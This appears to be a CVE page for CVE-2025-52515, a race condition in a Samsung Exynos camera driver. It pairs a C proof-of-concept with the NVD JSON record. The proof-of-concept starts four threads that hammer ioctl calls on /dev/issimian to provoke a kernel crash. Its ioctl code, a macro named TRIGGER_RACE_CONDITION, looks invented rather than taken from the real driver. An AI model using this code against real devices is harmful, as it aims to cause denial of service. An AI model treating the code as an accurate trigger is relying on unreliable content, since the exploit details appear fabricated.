CVE-2025-52515

// CVE-2025-52515 PoC - Race Condition in Samsung Exynos issimian driver // This PoC demonstrates triggering the race condition in the issimian device driver // Compile: gcc -o cve_2025_52515_poc cve_2025_52515_poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define ISSIMIAN_DEVICE_PATH "/dev/issimian" #define TRIGGER_RACE_CONDITION _IOR('I', 0x01, unsigned long) void *trigger_race_thread(void *arg) { int fd = open(ISSIMIAN_DEVICE_PATH, O_RDWR); if (fd < 0) { printf("[-] Failed to open issimian device\n"); return NULL; } printf("[+] Thread %ld: Triggering race condition...\n", pthread_self()); // Rapidly trigger ioctl calls to increase race condition probability for (int i = 0; i < 1000; i++) { ioctl(fd, TRIGGER_RACE_CONDITION, 0); usleep(1); // Minimal delay to intensify race condition } close(fd); return NULL; } int main() { pthread_t threads[4]; printf("[*] CVE-2025-52515 PoC - Samsung Exynos issimian driver race condition\n"); printf("[*] Target: Exynos 1330/1380/1480/2400/1580/2500\n"); printf("[*] Vulnerability: Race condition leading to out-of-bounds access\n"); // Create multiple threads to trigger concurrent access for (int i = 0; i < 4; i++) { if (pthread_create(&threads[i], NULL, trigger_race_thread, NULL) != 0) { perror("[-] Failed to create thread"); return 1; } } // Wait for all threads to complete for (int i = 0; i < 4; i++) { pthread_join(threads[i], NULL); } printf("[+] Race condition test completed\n"); printf("[*] Check system logs for kernel panic or stability issues\n"); return 0; }

{"cve": {"id": "CVE-2025-52515", "sourceIdentifier": "[email protected]", "published": "2026-01-05T19:15:56.307", "lastModified": "2026-01-09T13:31:54.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the Camera in Samsung Mobile Processor and Wearable Processor Exynos 1330, 1380, 1480, 2400, 1580, 2500. A race condition in the issimian device driver results in an out-of-bounds access, leading to a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1330_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "C2635646-DD6A-4735-8E01-F45445584832"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1330:-:*:*:*:*:*:*:*", "matchCriteriaId": "AA0F8A58-71B7-4503-A03A-6FB4282D75BD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D381478B-C638-4663-BD71-144BE4B02E46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1480_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "64897B0D-EBF6-4BEB-BF54-ABCDBFAB45E0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1480:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3F328B4-0442-4748-B5EE-DD1CEE50D6CF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1580_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3594664-3CE6-4827-ABD4-B5719817F5D5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1580:-:*:*:*:*:*:*:*", "matchCriteriaId": "93C1F9E8-DA04-4466-AF66-01560A07BD98"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2400_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "16D9272E-1794-48FF-B6A4-8F48395BA38E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2400:-:*:*:*:*:*:*:*", "matchCriteriaId": "932F5FB3-5527-44D7-9DD9-EF03963E3CA3"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2500_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "121D726F-2925-48FE-9CE4-3686B0802DA8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BA3794C2-9E77-4139-B188-26BDEA39DE21"}]}]}], "references": [{"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-52515/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}